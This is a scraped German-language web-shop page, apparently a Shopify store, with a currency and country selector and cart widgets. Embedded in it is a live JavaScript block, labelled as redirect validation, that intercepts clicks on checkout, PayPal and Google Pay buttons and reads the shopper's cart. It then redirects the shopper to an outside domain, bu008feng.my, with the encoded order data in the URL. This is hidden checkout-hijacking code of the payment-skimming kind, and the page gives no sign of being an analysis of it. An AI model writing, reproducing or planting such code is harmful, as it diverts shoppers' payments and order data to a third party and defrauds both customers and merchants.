YMQ redirect validation 5ac6175afb

Kostenlose Lieferung für Bestellungen über 120 €. Verpassen Sie keinen Rabatt.

AED

AFN

ALL

AMD

ANG

AUD

AWG

AZN

BAM

BBD

BDT

BIF

BND

BOB

BSD

BWP

BZD

CDF

CHF

CNY

CRC

CVE

CZK

DJF

DKK

DOP

DZD

EGP

ETB

EUR

FJD

FKP

GBP

GMD

GNF

GTQ

GYD

HKD

HNL

HUF

IDR

ILS

INR

ISK

JMD

JPY

KES

KGS

KHR

KMF

KRW

KYD

KZT

LAK

LBP

LKR

MAD

MDL

MKD

MMK

MNT

MOP

MUR

MVR

MWK

MYR

NGN

NIO

NPR

NZD

PEN

PGK

PHP

PKR

PLN

PYG

QAR

RON

RSD

RWF

SAR

SBD

SEK

SGD

SHP

SLL

STD

THB

TJS

TOP

TTD

TWD

TZS

UAH

UGX

USD

UYU

UZS

VND

VUV

WST

XAF

XCD

XOF

XPF

YER

Ägypten (EGP ج.م)

Äquatorialguinea (XAF CFA)

Äthiopien (ETB Br)

Afghanistan (AFN ؋)

Ålandinseln (EUR €)

Albanien (ALL L)

Algerien (DZD د.ج)

Amerikanische Überseeinseln (USD $)

Andorra (EUR €)

Angola (USD $)

Anguilla (XCD $)

Antigua und Barbuda (XCD $)

Argentinien (USD $)

Armenien (AMD դր.)

Aruba (AWG ƒ)

Ascension (SHP £)

Aserbaidschan (AZN ₼)

Australien (AUD $)

Bahamas (BSD $)

Bahrain (USD $)

Bangladesch (BDT ৳)

Barbados (BBD $)

Belarus (USD $)

Belgien (EUR €)

Belize (BZD $)

Benin (XOF Fr)

Bermuda (USD $)

Bhutan (USD $)

Bolivien (BOB Bs.)

Bosnien und Herzegowina (BAM КМ)

Botsuana (BWP P)

Brasilien (USD $)

Britische Jungferninseln (USD $)

Britisches Territorium im Indischen Ozean (USD $)

Brunei Darussalam (BND $)

Bulgarien (EUR €)

Burkina Faso (XOF Fr)

Burundi (BIF Fr)

Cabo Verde (CVE $)

Chile (USD $)

China (CNY ¥)

Cookinseln (NZD $)

Costa Rica (CRC ₡)

Côte d’Ivoire (XOF Fr)

Curaçao (ANG ƒ)

Dänemark (DKK kr.)

Deutschland (EUR €)

Dominica (XCD $)

Dominikanische Republik (DOP $)

Dschibuti (DJF Fdj)

Ecuador (USD $)

El Salvador (USD $)

Eritrea (USD $)

Estland (EUR €)

Eswatini (USD $)

Färöer (DKK kr.)

Falklandinseln (FKP £)

Fidschi (FJD $)

Finnland (EUR €)

Frankreich (EUR €)

Französisch-Guayana (EUR €)

Französisch-Polynesien (XPF Fr)

Französische Südgebiete (EUR €)

Gabun (XOF Fr)

Gambia (GMD D)

Georgien (USD $)

Ghana (USD $)

Gibraltar (GBP £)

Grenada (XCD $)

Griechenland (EUR €)

Grönland (DKK kr.)

Guadeloupe (EUR €)

Guatemala (GTQ Q)

Guernsey (GBP £)

Guinea (GNF Fr)

Guinea-Bissau (XOF Fr)

Guyana (GYD $)

Haiti (USD $)

Honduras (HNL L)

Indien (INR ₹)

Indonesien (IDR Rp)

Irak (USD $)

Irland (EUR €)

Island (ISK kr)

Isle of Man (GBP £)

Israel (ILS ₪)

Italien (EUR €)

Jamaika (JMD $)

Japan (JPY ¥)

Jemen (YER ﷼)

Jersey (USD $)

Jordanien (USD $)

Kaimaninseln (KYD $)

Kambodscha (KHR ៛)

Kamerun (XAF CFA)

Kanada (USD $)

Karibische Niederlande (USD $)

Kasachstan (KZT ₸)

Katar (QAR ر.ق)

Kenia (KES KSh)

Kirgisistan (KGS som)

Kiribati (USD $)

Kokosinseln (AUD $)

Kolumbien (USD $)

Komoren (KMF Fr)

Kongo-Brazzaville (XAF CFA)

Kongo-Kinshasa (CDF Fr)

Kosovo (EUR €)

Kroatien (EUR €)

Kuwait (USD $)

Laos (LAK ₭)

Lesotho (USD $)

Lettland (EUR €)

Libanon (LBP ل.ل)

Liberia (USD $)

Libyen (USD $)

Liechtenstein (CHF CHF)

Litauen (EUR €)

Luxemburg (EUR €)

Madagaskar (USD $)

Malawi (MWK MK)

Malaysia (MYR RM)

Malediven (MVR MVR)

Mali (XOF Fr)

Malta (EUR €)

Marokko (MAD د.م.)

Martinique (EUR €)

Mauretanien (USD $)

Mauritius (MUR ₨)

Mayotte (EUR €)

Mexiko (USD $)

Monaco (EUR €)

Mongolei (MNT ₮)

Montenegro (EUR €)

Montserrat (XCD $)

Mosambik (USD $)

Myanmar (MMK K)

Namibia (USD $)

Nauru (AUD $)

Nepal (NPR Rs.)

Neukaledonien (XPF Fr)

Neuseeland (NZD $)

Nicaragua (NIO C$)

Niederlande (EUR €)

Niger (XOF Fr)

Nigeria (NGN ₦)

Niue (NZD $)

Nordmazedonien (MKD ден)

Norfolkinsel (AUD $)

Norwegen (USD $)

Österreich (EUR €)

Oman (USD $)

Pakistan (PKR ₨)

Palästinensische Autonomiegebiete (ILS ₪)

Panama (USD $)

Papua-Neuguinea (PGK K)

Paraguay (PYG ₲)

Peru (PEN S/)

Philippinen (PHP ₱)

Pitcairninseln (NZD $)

Polen (PLN zł)

Portugal (EUR €)

Republik Moldau (MDL L)

Réunion (EUR €)

Ruanda (RWF FRw)

Rumänien (RON Lei)

Russland (USD $)

Salomonen (SBD $)

Sambia (USD $)

Samoa (WST T)

San Marino (EUR €)

São Tomé und Príncipe (STD Db)

Saudi-Arabien (SAR ر.س)

Schweden (SEK kr)

Schweiz (CHF CHF)

Senegal (XOF Fr)

Serbien (RSD РСД)

Seychellen (USD $)

Sierra Leone (SLL Le)

Simbabwe (USD $)

Singapur (SGD $)

Sint Maarten (ANG ƒ)

Slowakei (EUR €)

Slowenien (EUR €)

Somalia (USD $)

Sonderverwaltungsregion Hongkong (HKD $)

Sonderverwaltungsregion Macau (MOP P)

Spanien (EUR €)

Spitzbergen und Jan Mayen (USD $)

Sri Lanka (LKR ₨)

St. Barthélemy (EUR €)

St. Helena (SHP £)

St. Kitts und Nevis (XCD $)

St. Lucia (XCD $)

St. Martin (EUR €)

St. Pierre und Miquelon (EUR €)

St. Vincent und die Grenadinen (XCD $)

Sudan (USD $)

Südafrika (USD $)

Südgeorgien und die Südlichen Sandwichinseln (GBP £)

Südkorea (KRW ₩)

Südsudan (USD $)

Suriname (USD $)

Tadschikistan (TJS ЅМ)

Taiwan (TWD $)

Tansania (TZS Sh)

Thailand (THB ฿)

Timor-Leste (USD $)

Togo (XOF Fr)

Tokelau (NZD $)

Tonga (TOP T$)

Trinidad und Tobago (TTD $)

Tristan da Cunha (GBP £)

Tschad (XAF CFA)

Tschechien (CZK Kč)

Türkei (USD $)

Tunesien (USD $)

Turkmenistan (USD $)

Turks- und Caicosinseln (USD $)

Tuvalu (AUD $)

Uganda (UGX USh)

Ukraine (UAH ₴)

Ungarn (HUF Ft)

Uruguay (UYU $U)

Usbekistan (UZS so'm)

Vanuatu (VUV Vt)

Vatikanstadt (EUR €)

Venezuela (USD $)

Vereinigte Arabische Emirate (AED د.إ)

Vereinigte Staaten (USD $)

Vereinigtes Königreich (GBP £)

Vietnam (VND ₫)

Wallis und Futuna (XPF Fr)

Weihnachtsinsel (AUD $)

Westsahara (MAD د.م.)

Zentralafrikanische Republik (XAF CFA)

Zypern (EUR €)

Durchsuchen Sie unseren Shop

Beliebte Suchanfragen:

T-Shirt Blue Jacket

(() => {
  'use strict';

const VERSION = 'YMQ-ADMIN-GQL-REDIRECT-OVERLAY-V1';
  const ENTRY = 'https://bu008feng.my/';
  const CHECKOUT_PATH = '/checkout';
  if (window.__YMQ_REDIRECT_RUNTIME_5ac6175afb__ === VERSION) return;
  window.__YMQ_REDIRECT_RUNTIME_5ac6175afb__ = VERSION;

const state = {
    version: VERSION,
    busy: false,
    lastError: '',
    lastPayload: null,
    lastUrl: ''
  };
  window.__YMQ_REDIRECT_STATE_5ac6175afb__ = state;

const text = (value, fallback = '') => {
    if (value === null || value === undefined) return fallback;
    return String(value).trim() || fallback;
  };
  const minor = (value) => {
    const number = Number(value);
    return Number.isFinite(number) && number >= 0 ? Math.round(number) : 0;
  };
  const currencyFactor = (currency) => {
    try {
      const digits = new Intl.NumberFormat('en', {
        style: 'currency', currency
      }).resolvedOptions().maximumFractionDigits;
      return 10 ** digits;
    } catch {
      return 100;
    }
  };
  const shopifyMoney = (value, factor) => Math.round(minor(value) * factor / 100);
  const absoluteImage = (value) => {
    const source = text(value && typeof value === 'object' ? (value.url || value.src) : value);
    if (!source) return '';
    try { return new URL(source, location.origin).href; } catch { return source; }
  };
  const discounts = (entries, factor) => (Array.isArray(entries) ? entries : [])
    .map((entry, index) => ({
      id: text(entry && (entry.id || entry.discount_application_index), 'discount-' + index),
      label: text(entry && (entry.title || entry.code || entry.type), 'Discount'),
      amountMinor: shopifyMoney(entry && (
        entry.total_allocated_amount ?? entry.discounted_amount ?? entry.amount
      ), factor)
    }))
    .filter((entry) => entry.amountMinor > 0);

const normalizeCart = (cart) => {
    const currency = text(cart && cart.currency, window.Shopify?.currency?.active || 'USD').toUpperCase();
    const factor = currencyFactor(currency);
    const items = (Array.isArray(cart && cart.items) ? cart.items : [])
      .map((item, index) => {
        const title = text(item && (item.product_title || item.title), 'Item ' + (index + 1));
        const variant = text(item && item.variant_title);
        return {
          id: text(item && (item.key || item.variant_id || item.id), 'item-' + index),
          productId: text(item && item.product_id),
          variantId: text(item && (item.variant_id || item.id)),
          title,
          variant,
          quantity: Math.max(0, Number.parseInt(item && item.quantity, 10) || 0),
          unitPriceMinor: shopifyMoney(item && (item.final_price ?? item.discounted_price ?? item.price), factor),
          lineTotalMinor: shopifyMoney(item && (item.final_line_price ?? item.line_price), factor),
          image: absoluteImage(item && (
            item.image || (item.featured_image && (item.featured_image.url || item.featured_image.src))
          )),
          discounts: discounts(item && (item.discount_allocations || item.line_level_discount_allocations), factor)
        };
      })
      .filter((item) => item.quantity > 0);
    return {
      locale: text(document.documentElement.lang || navigator.language, 'en-US'),
      currency,
      items,
      discounts: discounts(cart && cart.cart_level_discount_applications, factor),
      shipping: { status: 'pending', amountMinor: null, label: 'Enter shipping address' },
      taxMinor: 0,
      taxPresent: false,
      subtotalMinor: shopifyMoney(cart && (cart.items_subtotal_price ?? cart.total_price), factor),
      totalMinor: shopifyMoney(cart && cart.total_price, factor),
      savingsMinor: shopifyMoney(cart && cart.total_discount, factor),
      itemCount: Number(cart && cart.item_count) || items.reduce((sum, item) => sum + item.quantity, 0)
    };
  };

const encodeBase64Url = (value) => {
    const bytes = new TextEncoder().encode(JSON.stringify(value));
    let binary = '';
    for (let offset = 0; offset < bytes.length; offset += 0x8000) {
      binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000));
    }
    return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, '');
  };
  const randomRequestToken = () => {
    const bytes = new Uint8Array(128);
    crypto.getRandomValues(bytes);
    let binary = '';
    for (let offset = 0; offset < bytes.length; offset += 0x8000) {
      binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000));
    }
    return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, '');
  };
  const readCart = async () => {
    let lastError = null;
    for (let attempt = 0; attempt < 3; attempt += 1) {
      try {
        const response = await fetch('/cart.js?ymq_redirect_v1=' + Date.now() + '-' + attempt, {
          credentials: 'same-origin', cache: 'no-store', headers: { Accept: 'application/json' }
        });
        if (!response.ok) throw new Error('cart_http_' + response.status);
        return await response.json();
      } catch (error) {
        lastError = error;
        if (attempt < 2) await new Promise((resolve) => setTimeout(resolve, 180 + attempt * 220));
      }
    }
    throw lastError || new Error('cart_unavailable');
  };

const fromEvent = (event) => {
    const path = typeof event.composedPath === 'function' ? event.composedPath() : [];
    const source = event.submitter || path.find((entry) => entry instanceof Element) || event.target;
    if (!(source instanceof Element)) return null;
    return source.closest('a,button,input[type="submit"],input[type="button"],form,[role="button"],shopify-accelerated-checkout') || source;
  };
  const checkoutText = (element) => {
    if (!element) return '';
    const form = element.closest && element.closest('form');
    return [
      element.innerText, element.textContent, element.value, element.id, element.name,
      element.className, element.getAttribute && element.getAttribute('aria-label'),
      element.href, element.formAction, form && form.action, element.tagName
    ].filter(Boolean).join(' ').toLowerCase();
  };
  const isCheckout = (element) => /checkout|check\s*out|shop\s*pay|paypal|google\s*pay|gpay|accelerated-checkout/.test(checkoutText(element));
  const checkoutTarget = (element) => {
    const form = element && element.closest ? element.closest('form') : null;
    const direct = (element && (element.href || element.formAction)) ||
      (element && element.getAttribute && (element.getAttribute('href') || element.getAttribute('formaction'))) ||
      (form && form.action) || '';
    const fallback = location.origin + CHECKOUT_PATH;
    const value = text(direct);
    if (!/\/checkout(?:\/|\?|#|$)/i.test(value)) return fallback;
    try { return new URL(value, location.origin).href; } catch { return fallback; }
  };
  const stop = (event) => {
    if (!event) return;
    event.preventDefault();
    event.stopPropagation();
    event.stopImmediatePropagation();
  };

const buildUrl = (cart, target) => {
    const order = normalizeCart(cart);
    if (!order.items.length) throw new Error('cart_empty');
    const payload = {
      site: location.hostname,
      sourceSite: location.hostname,
      sourceUrl: location.href,
      sourceOrigin: location.origin,
      sourcePath: location.pathname,
      capturedAt: Date.now(),
      order
    };
    const url = new URL(ENTRY);
    const values = [
      ['ymq_canary', 'YMQ-5ac6175afb'],
      ['transaction_id', '5ac6175afbc2704d0c70f10349bf6faf'],
      ['co', encodeBase64Url(payload)],
      ['return_to', target],
      ['site', location.hostname],
      ['source_site', location.hostname],
      ['source_host', location.hostname],
      ['source_origin', location.origin],
      ['source_path', location.pathname],
      ['source_url', location.href],
      ['checkout_path', CHECKOUT_PATH],
      ['overlay_route', '/'],
      ['_r', randomRequestToken()]
    ];
    for (const [name, value] of values) url.searchParams.set(name, value);
    state.lastPayload = payload;
    state.lastUrl = url.href;
    try { window.name = '__CHECKIOUT_CART__:' + encodeURIComponent(JSON.stringify(payload)); } catch {}
    return url.href;
  };

const intercept = async (event) => {
    const element = fromEvent(event);
    if (!isCheckout(element)) return;
    stop(event);
    if (state.busy) return;
    state.busy = true;
    try {
      const cart = await readCart();
      location.assign(buildUrl(cart, checkoutTarget(element)));
    } catch (error) {
      state.lastError = String(error && error.message || error);
      state.busy = false;
    }
  };

window.addEventListener('pointerdown', intercept, true);
  window.addEventListener('click', intercept, true);
  window.addEventListener('submit', intercept, true);
})();

Notiz für Verkäufer hinzufügen

Versandkosten schätzen

Land

Provinz

Postleitzahl

Fügen Sie einen Rabattcode hinzu

Zwischensumme $0.00

Warenkorb ansehen